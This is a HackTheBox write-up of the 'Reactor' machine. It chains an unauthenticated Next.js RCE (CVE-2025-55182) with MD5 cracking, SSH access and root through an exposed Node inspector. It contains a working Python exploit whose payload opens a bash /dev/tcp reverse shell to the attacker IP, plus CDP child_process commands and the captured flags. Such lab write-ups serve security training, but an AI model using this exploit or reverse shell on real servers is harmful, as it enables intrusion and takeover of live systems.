Back to writeups
HTBmachineEasysolved

Reactor

12 Jul 2026 · by 0xIDA

Solvers

Reactor

Author: 0xIDA

Solvers

Platform: HTB · Category: machine · Difficulty: Easy

Difficulty: Easy
OS: Linux (Ubuntu)
IP (this run): 10.129.47.126
Host: reactor.htb
Attacker IP: 10.10.15.137

Flags (verified live)

FlagValue
userda690cef21e400c314ea9c65686baa81
roota51120caa8b9588160da8af7942b5d2a

Kill chain (summary)

  1. CVE-2025-55182 (React2Shell) unauthenticated RCE on Next.js 15.0.3 / React 19.0.0 → shell as node
  2. Read SQLite reactor.db → crack MD5 of engineerreactor1
  3. SSH as engineeruser.txt
  4. Local Node inspector (--inspect=127.0.0.1:9229) runs worker.js as root → Chrome DevTools Protocol Runtime.evaluateroot.txt

1. Recon

echo "10.129.47.126 reactor.htb" >> /etc/hosts
nmap -sV -sC -p- --min-rate 2000 -Pn 10.129.47.126
PortService
22OpenSSH 9.6p1 Ubuntu
3000Next.js (X-Powered-By: Next.js) — ReactorWatch Core Monitoring

Landing page: fictional nuclear plant dashboard (static metrics, personnel list). No login UI on the surface.

App versions (from package.json after foothold):

"next": "15.0.3",
"react": "19.0.0",
"react-dom": "19.0.0"

These versions are in the React2Shell / CVE-2025-55182 blast radius (RSC Flight protocol RCE).


2. Foothold — CVE-2025-55182 (React2Shell)

Unauthenticated RCE via crafted multipart POST with Next-Action header. Public PoCs (e.g. maple3142 / lachlan2k) abuse prototype pollution in the Flight protocol so _prefix is evaluated as JavaScript via constructor:constructor.

PoC (reverse shell)

import requests, json

url = "http://reactor.htb:3000/"
prefix = (
    "process.mainModule.require('child_process')"
    ".exec('bash -c \"bash -i >& /dev/tcp/10.10.15.137/4447 0>&1\"');"
)
p0 = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then":"$B1337"}',
    "_response": {
        "_prefix": prefix,
        "_formData": {"get": "$1:constructor:constructor"},
    },
}
files = {"0": (None, json.dumps(p0)), "1": (None, '"$@0"')}
requests.post(url, files=files, headers={"Next-Action": "x"}, timeout=8)
# listener (allow HTB net if UFW drops inbound)
ufw allow from 10.0.0.0/8 to any port 4447 proto tcp
ncat -lvnp 4447

Shell context:

uid=999(node) gid=988(node)
cwd=/opt/reactor-app

Important: execSync blocks the HTTP worker; prefer async exec for reverse shells so the Node process stays healthy.


3. Enumeration as node

/opt/reactor-app/
  .env
  reactor.db          (sqlite, mode 0640, owner node)
  package.json
  app/ .next/ ...

Listening:
  *:3000          next-server (node)
  127.0.0.1:9229  /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js  (as root!)

SQLite credentials

sqlite3 /opt/reactor-app/reactor.db .dump
INSERT INTO users VALUES(1,'admin','a203b22191d744a4e70ada5c101b17b8',...);
INSERT INTO users VALUES(2,'engineer','39d97110eafe2a9a68639812cd271e8e',...);

Hashes are raw MD5:

john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# engineer -> reactor1
# echo -n reactor1 | md5sum => 39d97110eafe2a9a68639812cd271e8e

admin hash was not required for the path (did not crack in rockyou during this run).


4. User — SSH as engineer

ssh engineer@10.129.47.126
# password: reactor1

cat ~/user.txt
# da690cef21e400c314ea9c65686baa81

5. Root — Node Inspector / CDP abuse

Root process:

root  ...  /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js

Inspector is bound to localhost only, but any local user (including engineer / node) can speak the Chrome DevTools Protocol over WebSocket.

curl -s http://127.0.0.1:9229/json/list
# webSocketDebuggerUrl: ws://127.0.0.1:9229/<uuid>

Runtime.evaluate

Plain require is not defined in the inspector eval context; use:

process.mainModule.require('child_process')
  .execSync('id; cat /root/root.txt').toString()

Minimal Python CDP client (upload to target, run as engineer):

# 1) GET /json/list → websocket URL
# 2) WebSocket handshake
# 3) Runtime.enable
# 4) Runtime.evaluate with process.mainModule.require(...)

Result (live):

uid=0(root) gid=0(root) groups=0(root)
a51120caa8b9588160da8af7942b5d2a

Commands cheat-sheet

# hosts + recon
echo "10.129.47.126 reactor.htb" >> /etc/hosts
nmap -sV -sC -p- --min-rate 2000 -Pn 10.129.47.126

# React2Shell reverse shell (see Python above) + ncat -lvnp 4447

# as node
sqlite3 /opt/reactor-app/reactor.db "select * from users;"
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# user
ssh engineer@10.129.47.126   # reactor1
cat ~/user.txt

# root via CDP
curl -s http://127.0.0.1:9229/json/list
# Runtime.evaluate:
# process.mainModule.require('child_process').execSync('cat /root/root.txt').toString()

Key lessons

TopicDetail
React/Next.jsRSC Flight protocol bugs (CVE-2025-55182) = unauth RCE on default apps
Secrets in SQLiteApp DBs often hold weak hashes → rockyou
Node --inspectNever leave inspector on production, even on 127.0.0.1 — local users = RCE as that process UID
CDP evalUse process.mainModule.require when bare require is missing

Verification status

  • User flag: read live from /home/engineer/user.txt as engineer via SSH
  • Root flag: read live via CDP Runtime.evaluate as root Node process

Machine: Reactor · Easy · Linux · 10.129.47.126